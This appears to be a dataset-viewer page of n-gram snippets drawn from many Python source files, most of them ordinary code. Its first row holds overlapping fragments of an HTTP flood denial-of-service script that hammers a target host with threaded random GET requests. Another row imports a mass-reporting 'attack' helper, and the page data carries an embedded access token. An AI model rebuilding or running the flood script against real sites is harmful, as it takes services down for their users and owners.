[] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01)\",\n \"random import socket import string import sys import threading import time def attack(host:\",\n \"HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR] Site may be down | {socket.error}\\\") finally:\",\n \"0 thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global thread_num\",\n \"import socket import string import sys import threading import time def attack(host: str,\",\n \"string import sys import threading import time def attack(host: str, port: int =\",\n \"time def attack(host: str, port: int = 80, request_count: int = 10 **\",\n \"try: host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip = socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR]\",\n \"import string import sys import threading import time def attack(host: str, port: int\",\n \"correct website!\\\") sys.exit(2) all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack)\",\n \"request_count: int = 10 ** 10) -> None: # Threading support thread_num =\",\n \"f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR] Site may be down |\",\n \"= generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\\\"GET /{url_path}\",\n \"\\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip = socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR] Make sure you entered a\",\n \"string.digits + string.punctuation) data = \\\"\\\".join(random.sample(msg, 5)) return data def attack_() -> None:\",\n \"= 0 thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global\",\n \"port)) msg = f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR] Site may\",\n \"= socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode())\",\n \"None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function\",\n \"+ string.punctuation) data = \\\"\\\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status()\",\n \"5)) return data def attack_() -> None: print_status() url_path = generate_url_path() dos =\",\n \"# Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def\",\n \"finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip = socket.gethostbyname(host)\",\n \"string.punctuation) data = \\\"\\\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path\",\n \"= 10 ** 10) -> None: # Threading support thread_num = 0 thread_num_mutex\",\n \"-> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\\\")\",\n \"thread_num_mutex.acquire(True) thread_num += 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\\\") thread_num_mutex.release() def generate_url_path(): msg\",\n \"generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data = \\\"\\\".join(random.sample(msg, 5)) return\"\n]","isConversational":false}}}],"truncated":false,"partial":false},"paginationData":{"pageIndex":18,"numItemsPerPage":100,"numTotalItems":12866649,"offset":1800,"length":100}},"jwt":"eyJhbGciOiJFZERTQSIsImtpZCI6Im1sR1pFYktIVHRVSGRhX1RRdEczQ0N1S3k5ME9Qd25DNHY5elRjM3FVYzgifQ.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc4MzQyNTI2MywianRpIjoiMzAzZTgyMDktZTcxMi00NDE4LTg3MTQtZDJiZWYxMTA5M2E5Iiwic3ViIjoiL2RhdGFzZXRzL3RlcnJ5eXovc3RhcmNvZGVyZGF0YV9uZ3JhbV8xMyIsImV4cCI6MTc4MzQyODg2MywiaXNzIjoiaHR0cHM6Ly9odWdnaW5nZmFjZS5jbyJ9.lgTySTWiVlnwMTnAqSlTSamXh3y-ycTKK6C-TC77BQgiu3PARLkTtxfrG7JMXcg9odDgc1yCrZNUMBY8MTfNAw","displayUrls":true,"splitSizeSummaries":[{"config":"default","split":"train","numRows":12866649,"numBytesParquet":149232926747}]},"discussionsStats":{"closed":0,"open":0,"total":0},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
ngram listlengths 0 67.8k |
|---|
[
"def remove_deployment_dir(namespace, dir_path): with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order = f.readline() dep_lst =",
"find by name and delete requested item for item in list_func(namespace).items: if item.metadata.name",
"import ApiException import os import time import yaml from tests... |
[
"I'll give you the option # Instead, you should put the trusted CA",
"addresses? # By default, agents protect themselves from scanning their local network self.scan_local",
"or 15 # seconds # Maximum value for exponential backoff of requests, 5",
"or 'http://127.0.0.1:5000' # ignore warnings about SSL connect... |
[
"lc = modify_error(lc, err_floor) name = lc.meta['SN'] if type(name) is float: name =",
"def fit_lc_and_save(lc, model_name, save_dir, no_mc): name = lc.meta['SN'] model = sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()], effect_names=['mw'],",
"else None save_path = os.path.join(save_dir, '{}.pkl... |
[
"arr_val # assign scalar to array residuals['C2.y'] = num_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10)",
"= -1. inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], -1.) inputs, outputs, residuals =",
"5.) inputs, outputs, residuals = g1.get_nonlinea... |
[
"index idx_{tbl}_user_id on {tbl}(user_id)\") def main(argv=None): if argv is None: argv = sys.argv[:1]",
"db_tables(conn) for tbl in ['decisions', 'outcomes', 'predictions']: if tbl not in db_tbls: users.to_sql(tbl,",
"tbl in ['decisions', 'outcomes', 'predictions']: if tbl not in db_tbls: users.to_sql(tbl, co... |
[
"@api.route(\"/api/v1.0/index\") def view(req, resp): raise ValueError r = api.requests.get(api.url_for(view)) assert not r.ok assert",
"r.ok def test_500_error(api): def catcher(req, exc): return PlainTextResponse(\"Suppressed error\", 500) api.app.add_exception_handler(ValueError, catcher) @api.route(\"/api/v1.... |
[
"import datasets from mmgp import losses from mmgp import util dpath = '/experiments/datasets/'",
"= FLAGS.is_ard TOL = FLAGS.opt_tol VAR_STEPS = FLAGS.var_steps DIAG_POST = False SPARSE_PRIOR =",
"for 25 sites for 15 minute forecast - N_train = 4200, N_test =",
"= TOL, max_time=MAXTIME ) print(\"optimisation... |
[
"self, sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock, default_height=0.4) # Test sut.take_off(velocity=0.6) # Assert",
"- 1, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_... |
[
"node_2[0], weight=0) self.graph[node_1[0]][node_2[0]]['weight'] += similarity def candidate_weighting(self, window=10, pos=None, expanded_documents=None, normalized=False): \"\"\"Candidate ranking",
"of the document. extractor.load_document(input='path/to/input.xml') # 3. select the the longest sequences of noun... |
[
"<reponame>mmeidlinger/cdk-microservices-labs #!/usr/bin/env python3 from aws_cdk import core from fagate_serverless.fagate_serverless_stack import FagateServerlessStack app =",
"#!/usr/bin/env python3 from aws_cdk import core from fagate_serverless.fagate_serverless_stack import FagateServerlessStack app = core.... |
[
"task.status in (\"FAILURE\", \"REVOKED\"): return self.terminate_job(job) return False def job_running(self, job): future =",
"key): self.handle.backend.delete(key) def call_job_fn(self, key, job_fn, args): task = job_fn.delay(key, self._make_progress_key(key), args) return",
"if self.cache_by is None: self.cl... |
[
"Changes may cause incorrect behavior and will be lost if the code is",
"botframework.tokenapi.operations.BotSignInOperations :ivar user_token: UserToken operations :vartype user_token: botframework.tokenapi.operations.UserTokenOperations :param credentials: Subscription credentials which",
"Code generated by M... |
[
"# content of test_sample.py def inc(x: int) -> int: return x + 1"
] |
[
"order.save(update_fields=[\"user\"]) class Migration(migrations.Migration): dependencies = [ (\"order\", \"0080_invoice\"), ] operations = [ migrations.RunPython(match_orders_with_users),",
"Django 3.0.4 on 2020-04-06 09:56 from django.db import migrations from saleor.order import OrderStatus",
"from saleor.or... |
[
"[{'0100': user_dict_pattern + \" is not a valid pattern name in the user",
"governing permissions and limitations under the License. \"\"\" from brightics.common.utils import check_required_parameters from",
"re def regex(table, **params): check_required_parameters(_regex, params, ['table']) return _regex(tabl... |
[
"((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd # compute the degree-days for each day in the temperature",
"will skip resample and interpolation, so `in_dataframe` must already be daily or hourly",
"should be [-1:1]'.format(tmp)) tmp = -1 if tmp > 1: print('WARNING: (base_temp-avet)/W =",
... |
[
"if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application = True else: has_external_solvers_application = False # Import the tests",
"selected tests plus all small tests nightlySuite = suites['nightly'] ### BEGIN SMALL SUITE",
"very long tests that shoul... |
[
"Column(String, nullable=False) email = Column(String, nullable=False, unique=True) password = Column(String, nullable=False) phone_number =",
"default=0.0) image = Column(String) owner_id = Column(Integer, ForeignKey(\"users.id\")) creator = relationship(\"User\", back_populates=\"posts\") class",
"full_name =... |
[
"PyMongo from flask import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) \"\"\" @app.route('/add') def add():",
"request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27... |
[
") @pytest.mark.django_db @pytest.fixture def resource_in_unit2(space_resource_type, test_unit2): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit",
"equipment_alias(equipment): equipment_alias = EquipmentAlias.objects.create(name='test equipment alias', l... |
[
"foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0] + \", pMetadata);\") with open('list.txt', 'w') as f: for item",
"INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('} metadata_data_t;') data = data[start:end] metadata = data.split(\"\\n\") metalist =",
"= line.split(',') foo[0] = foo[0].replace('INCL... |
[
"= 0 for i in range(48): t = 1 << i if (g(B,",
"B): result = 0 for i in range(48): t = 1 << i",
"// (2 * n) * n + max(A % (2 * n) -",
"0) def f(A, B): result = 0 for i in range(48): t =",
"max(A % (2 * n) - (n - 1), 0) def f(A, B):",
"<reponame>c-yan/atcoder def g(A, n): if A == -1: return 0 return A //",... |
[
"- %(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch) ''' logger = MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug message') logger.logger.info('info message') logger.logger.warning('warn",
"TimedRotatingFileHandler class MyLog(): def __init__(self, name, filename): self.logger = l... |
[
"\"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter, 'con') urlpatterns = [ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:co... |
[
"the order of the other elements. def move_zeros(array): #your code here new_array =",
"= 0 while len(array) > 0: item = array.pop(0) if item == 0",
"of the zeros to the end, preserving the order of the other elements.",
"preserving the order of the other elements. def move_zeros(array): #your code here new_a... |
[
"child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('... |
[
"D.E: [3,1.5], D.SW: [0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5], } selector_size = 100 window_size",
"SW W NW') selector_map = { D.NW: [0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5], D.W:",
"= partial (say,'north') window.actions[D.NE] = partial (say,'neorthest') window.actions[D.W] = partial (say,'western') window.act... |
[
"rides_taken = serializers.IntegerField() rides_offered = serializers.IntegerField() members_limit = serializers.IntegerField() class CreateCircleSerializer(serializers.Serializer): name =",
"rides_offered = serializers.IntegerField() members_limit = serializers.IntegerField() class CreateCircleSerializer(seriali... |
[] |
[
"libs.attack import report_video_attack from multiprocessing import Process from colorama import Fore, Back, Style",
"print() i = i + 1 def profile_attack(proxies): username = ask_question(\"Enter the username",
"path from libs.logo import print_logo from libs.utils import print_success from libs.utils import p... |
[
"hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits, half_way_hamiltonian, time=ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state",
"KIND, either express or implied. # See the License for the specific language",
"Unless requ... |
[
"dialog box\"\"\" QMessageBox.critical(self, _(\"Array editor\"), message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot() def reject(self): \"\"\"Reimplement Qt",
"row_min, row_max, col_min, col_max = get_idx_rect(cell_range) if col_min == 0 and col_max ==",
"for details) \"\"\" NumPy Array Editor... |
[
"None: pattern = self.default_pattern() name = alias + \"-\" + pattern resp =",
"resp assert resp[name][\"aliases\"][alias][\"is_write_index\"] == True def assert_policy_not_created(self, policy): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/' +",
"def delete_in... |
[
"width of 0 means to make the line as small as possible while",
"drawn, set **edge_color** to transparent; don't try to do this by setting **edge_width**",
"the polygon. edge_style = LineStyle # The color of the face of the",
"values as edge_color_, and its alpha value is the # alpha value of",
"Private 'Ba... |
[
"import timedelta basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL = \"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/Ge... |
[
"AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,",
"families from the alignments \"\"\" logger.debug(\"Compute gene families\") # Compute scores for each",
"MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE",
"family Copyright (c) 20... |
[
"int(input('Enter second number: ')) q.put(num1) q.put(num2) def add_num(q): for i in range(0,3): num1",
"[] results2 = [] def take_numbers(q): print('Enter the numbers:') for i in range(0,3):",
"= [] def take_numbers(q): print('Enter the numbers:') for i in range(0,3): num1 =",
"for i in range(0,3): num1 = i... |
[
"链接：https://leetcode-cn.com/problems/unique-paths ''' class Solution: def uniquePaths(self, m: int, n: int) -> int: dp",
"来源：力扣（LeetCode） 链接：https://leetcode-cn.com/problems/unique-paths ''' class Solution: def uniquePaths(self, m: int, n: int) -> int:",
"向右 -> 向右 -> 向下 2. 向右 -> 向下 -> 向右 3. 向下",
"= 3 输出: 28 来... |
[
"to use all available cores). \"\"\" url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def __init__(self, amount=None, n_jobs=1,",
"mol in tqdm(data, ncols=80) ) x_list, a_list, e_list = list(zip(*data)) # Load labels",
"delayed from tensorflow.keras.utils import get_file from tqdm ... |
[
"R + abs(int(x)) if y: G = G + abs(int(y)) if z: B",
"axis acceleration, prints the values, and turns on # red, green and blue,",
"related to the x, y and z values. while True: if cpx.switch: print(\"Slide",
"y: G = G + abs(int(y)) if z: B = B + abs(int(z))",
"G = 0 B = 0 x, y, z = cpx.acceleration print((x... |
[
"= str(i) ax = fig.add_subplot(111, aspect='equal') ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), # (x,y) 4.0,",
"= [[-584,-805],[-445,-805]] y = [[-610,-618],[-610,-622]] for l in range(len(x)): ax.plot(x[l], y[l], color='k',linewidth=1) ax.set_xlim(-680,",
"c='b', ... |
[
"equityClass == EquityClass.ASSET: equityType = self.uns.request_enum(AssetType) elif equityClass == EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType)",
"as plot class EquityManager(): def __init__(self, user_notification_system: FinanceCliInteraction): self.uns = user_notification_system de... |
[
"api_key), Detector()) # deploy the interceptor from SnapSearch.wsgi import InterceptorMiddleware application = InterceptorMiddleware(application,",
"os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"hello_world.settings\") # django WSGI application from django.core.wsgi import get_wsgi_application application ... |
[
"opts.split(','): optname, optval = opt.split('=') if optname == 'owner': try: uid = pwd.getpwnam(optval).pw_uid",
"'r') as slfile: slist = slfile.read() entries = slist.split('\\n') for ent in entries:",
"KIND, either express or implied. # See the License for the specific language",
"deployinfo = deployinfo.... |
[
"and (control) input x, y, V, gamma, = state.ravel() a = control #",
"V*np.cos(gamma) dydt = V*np.sin(gamma) dVdt = (T - D)/m - self.g*np.sin(gamma) dgammadt =",
"= 135 - 14.53*t T = 33000 elif t < self.t2: m =",
"self.t1: m = 135 - 14.53*t T = 33000 elif t < self.t2:",
"113.205 - 3.331*t T = 7500 else: m =... |
[
"= int(opts.training_density * len(full_data)) train_set, holdout_set = torch.utils.data.random_split(full_data, [len_train, len(full_data) - len_train] )",
"label[i + j] = 1.0 data.append(inp) labels.append(label) data_tuples = [(data[i], labels[i]) for i",
"get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch... |
[
"b in enumerate(reversed(S), 1): if b > a: F = list(S) F[-i], F[-j]",
"i, a in enumerate(reversed(S[:-1]), 2): if a < b: # we have the",
"F = F[: -i + 1] + sorted(F[-i + 1 :]) return \"\".join(F)",
"F[-i], F[-j] = F[-j], F[-i] F = F[: -i + 1] + sorted(F[-i",
"a < b: # we have the pivot a for j, b in",
"-i... |
[
"-> int: \"\"\" Type function for argparse - int within some predefined bounds.",
"\"\"\" try: s = int(arg) except ValueError: raise ArgumentTypeError(\"must be a int number\")",
"cloud_address, cloud_status_ok = await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(clou... |
[
"generated by Alembic - please adjust! ### op.create_table( \"topics\", sa.Column(\"content\", sa.Text(), nullable=False), sa.Column(\"last_synced_at\",",
"14:20:10.044131 \"\"\" from alembic import op import sqlalchemy as sa import bot #",
"Alembic - please adjust! ### op.create_table( \"topics\", sa.Column(\"... |
[
"To simplify imports in test code _w_long = _bootstrap._w_long _r_long = _bootstrap._r_long #",
"packages implicitly imported. You will most likely need to explicitly import all parent",
"_bootstrap._gcd_import(name[level:], package, level) #need at least one import hook for importlib stuff to",
"None is retu... |
[
"given bytestring into an image object. Parameters ---------- bytestring: The bytestring to decode.",
"height=256), foreground='#0f0', image=img) circle.x0, circle.y0 = 0.5, -0.25 img = image.fill(circle(width=512, height=256), foreground='blue',",
"arlunio.image as image >>> img = image.new((8, 8), color='red'... |
[
"supported, to check error message def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble): # __yaml_tag_suffix__ =",
"classes (StringIO is one) StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value ==",
"= f.dumps_yaml(defa... |
[
"session.) @return: the session attribute @rtype: L{Session} or L{None} \"\"\" if self.isSecure(): return",
"Check if there is a session cookie, and if not, create it. By",
"Failed\" b\"</title></head><body>\" b\"<b>Processing Failed</b></body></html>\" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.se... |
[
"import create_bitcoinish_network network = create_bitcoinish_network( symbol=\"DOGE\", network_name=\"Dogecoin\", subnet_name=\"mainnet\", wif_prefix_hex=\"9e\", address_prefix_hex=\"1e\", pay_to_script_prefix_hex=\"16\", bip32_prv_prefix_hex=\"<KEY>\", bip32_pub_prefix_hex=\"<KEY>\")",
"from pycoin.networks.bit... |
[
"return hamming[n - 1] print(hamming(970)) # hamming(968) should be 41943040 # hamming(969) should",
"3) new_hamming.add(i * 5) # merge new number into hamming set hamming =",
"new_hamming = {1} for i in hamming: new_hamming.add(i * 2) new_hamming.add(i * 3)",
"= hamming.union(new_hamming) hamming = sorted(li... |
[
"MergerServicer from examples import configs logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main(): config = configs.LocalDockerConfig() server =",
"logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main(): config = configs.LocalDockerConfig() server = factory.create_server(config) manager = factory.create... |
[
"def stop(self): self.engine.kill_process() def print_stats(self, stats=None): if stats is None: stats = ['score',",
"movetime=movetime) return best_move def search_with_ponder(self, game, board, btime, wtime, binc, winc, byo, ponder=False):",
"def name(self): return self.engine.name def report_game_result(self... |
[
"Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle",
"1)) lst_wp.append(Weighted_point_2(Point_2(44, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 5), 1)) lst_wp.... |
[
"18, 2018 @author: riteshagarwal ''' java = False rest = False cli =",
"Jan 18, 2018 @author: riteshagarwal ''' java = False rest = False cli",
"<reponame>pavithra-mahamani/TAF ''' Created on Jan 18, 2018 @author: riteshagarwal ''' java = False",
"''' Created on Jan 18, 2018 @author: riteshagarwal ''' java = ... |
[
"def setup(self): self.label_node = scene.LabelNode('A', position=(100,400), parent=self) self.start_flag = False def update(self): if",
"class MyScene(scene.Scene): def setup(self): self.label_node = scene.LabelNode('A', position=(100,400), parent=self) self.start_flag = False def",
"update(self): if self.star... |
[
"from chat' def _callback(self, user, _bot, update, **kwargs): return self._call(user, _bot, update, **kwargs)",
"mongo.chats.get_active_chat_by_telegram_id(user.id) if chat: mongo.chats.disable_chat(chat['_id']) return True _bot.send_message( user.id, 'You are not connected to",
"True _bot.send_message( user.i... |
[
"def __str__(self) -> str: return f'<STDOUT value={self.value} code={self.code} >' def _split_tokens(self) -> List[str]:",
"and _quotes(char): in_quotes = char elif in_quotes and in_quotes == char: in_quotes =",
"in self.value: if _whitespace(char) and not in_quotes and accumulator: ret.append(''.join(accumulat... |
[
"isinstance(protected_object.protection_parent, db.m.Event): parent_type = _('Event') elif isinstance(protected_object.protection_parent, db.m.Category): parent_type = _('Category') else: parent_type",
"super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs) def render_protection_message... |
[
"False) c_attributes['SPProvidedID'] = ('sp_provided_id', 'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, format=None, sp_provided_id=None, text=None,",
"# clear type #self.clear_type() self.set_text(text) # if we have added a text node",
"c_cardinality = ConditionAbstractType_.... |
[
"info = env.step(action) print(\"episode: \", episode) print(\"timestep: \", t) print(\"obs: \", obs) print(\"action:\",",
"import gym import rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True,",
"import St... |
[
"to i,j - top left square i = (i // 3) * 3",
"= (i, j) tuple i = position[0] j = position[1] # checks row",
"print(\"\") def main(): initialize() print(\"Is this the correct board? Press enter to continue",
"range(3, 6): for j in range(9): if board[i][j] == 0: print(\" \", end=\"\")",
"print(\"| \", end=\"\... |
[
"a: A theano matrix b: A theano vector Returns the matrix-vector product of",
"np.random.RandomState([1, 2, 3]) a_value = rng.randn(5).astype(a.dtype) b_value = rng.rand(5).astype(b.dtype) c_value = a_value *",
"and b \"\"\" return a * b def matrix_vector_mul(a, b): \"\"\" a: A",
"return T.matrix() def elemwi... |
[
"License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS",
"writing, software # distributed under the License is distributed on an \"AS IS\"",
"from nova.api.openstack import api_version_request from nova.api.openstack.api_version_request \\ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION ... |
[
"`TFEnvironment`. training_loops: an integer indicating how many training loops should be run. steps_per_loop:",
"the given `agent`.\"\"\" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return buf def set_expected_shape(experience,",
... |
[
"License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS",
"writing, software # distributed under the License is distributed on an \"AS IS\"",
"default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share deletion.\"), cfg.FloatOpt( \"manila_share_delete_poll_interval\... |
[
"crud from .utils import insert, get_content def register_invoice(db: Session, url: str): content =",
"insert, get_content def register_invoice(db: Session, url: str): content = get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info(",
"= insert.insert_invoice_info( db, obj_in=con... |
[] |
[
"= True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return f",
"cclass.properties[propname].getter is not None: se... |
[
"an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND,",
"import sys from heronpy.streamlet.builder import Builder from heronpy.streamlet.runner import Runner from heronpy.streamlet.config import",
"distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY",
"express or impl... |
[
"= datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited)",
"utils.clean(item) def test_clean_fn(... |
[
"tmp[1] + m1[2][r] * tmp[2] + m1[3][r] * tmp[3]) point += 1 def",
"0], [1, -2, 1, 0], [1, -1, 0, 0] ] def generate_curve_coefs(p0, p1,",
"else: curve = make_bezier() matrix_mult(curve, coefs) return coefs def make_translate(x, y, z): t",
"comment def print_matrix(matrix): s = '' for r in range(len(matrix[0]))... |
[
"import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api as spice def main(): creds = spice.load_auth_from_file('auth')",
"= spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes = 0 re_zero_data.status = spice.get_status('reading') re_zero_data.score = 8 re_zero_data.t... |
[
"'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files",
"SECURITY WARNING: don't run with debug turned on in production! DEBUG = int(os.environ.get('DEBUG',",
"'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT': 'json', } # ---------------------------... |
[
"dir_path += '/cfg.ini' class Configuration(object): def __init__(self,debug=False): section = \"Flask-debug\" if debug else",
"\"DEBUG\") self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page = cfg.getint(section,\"THREADS_PER_PAGE\") self.port = cfg.getint(section,\"PORT\") self.hos... |
[
"License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS",
"writing, software # distributed under the License is distributed on an \"AS IS\"",
"= sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) network = orm.relationship(mod... |
[
"Role(name=\"administrator\"); userRole = Role(name=\"user\"); database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin = User( jmbg=\"0000000000000\", forename=\"admin\", surname=\"admin\",",
"import Configuration; from flask_migrate import Migrate, init, migrate, upgrade... |
[
"] model_process_num_list = { 'random_forest_classification': [139, 69, 111, 212, 210, 148, 28, 61,",
"'').split(',') test_NEF = float(line[1]) return test_roc, test_precision, test_NEF if __name__ == '__main__': model_list",
"807, 263, 694, 440, 47, 116, 792, 663, 32, 564, 950, 735, 84,",
"test_roc = float(l... |
[
"License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS",
"writing, software # distributed under the License is distributed on an \"AS IS\"",
"_msg_locator(self, level): return (by.By.CSS_SELECTOR, 'div.alert.%s' % level) def __init__(self, driver, conf, level=SUCCESS): self._default_s... |
[
"'array_size': 10000, 'streaming': True, 'record_state':False, 'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'} # Definition of the",
"np.complex128, 'init_cond': 0., 'plot': False, 'dock':['plot1','plot2'], 'help':'field in the first cavity'}, 'B' :",
"0.001, 'plot': Fa... |
[
"np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls the solve_eq function with all default inputs other",
"import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_te... |
[
"- initial_time, anchor.group(1), anchor.group(2)]) # 获取数据序号、设备号、测量值 device = list(map(int, device)) measure.append(device) # 一个measure就是四个设备拿到的四份数据",
"# Measures是三维数组是获取的所有测量数据 normalized_device_data = [] normalized_device_data_x = [] device_data = [] device_data_x =",
"P[0] = 1.0 A = 1 H = 1 for k in range(1,... |
[
".analyzer import ProgpilotAnalyzer from .issues_data import issues_data analyzers = { 'phpanlyzer' : {",
"issues_data analyzers = { 'phpanlyzer' : { 'name' : 'phpanalyzer', 'title' : 'phpanalyzer',",
"<reponame>marcinguy/checkmate-ce<gh_stars>0 from .analyzer import ProgpilotAnalyzer from .issues_data import i... |
[
"for section in depend_files: latex_text = latex_text + \"\\n\\\\input{\"+ section + \"}\" #prepend",
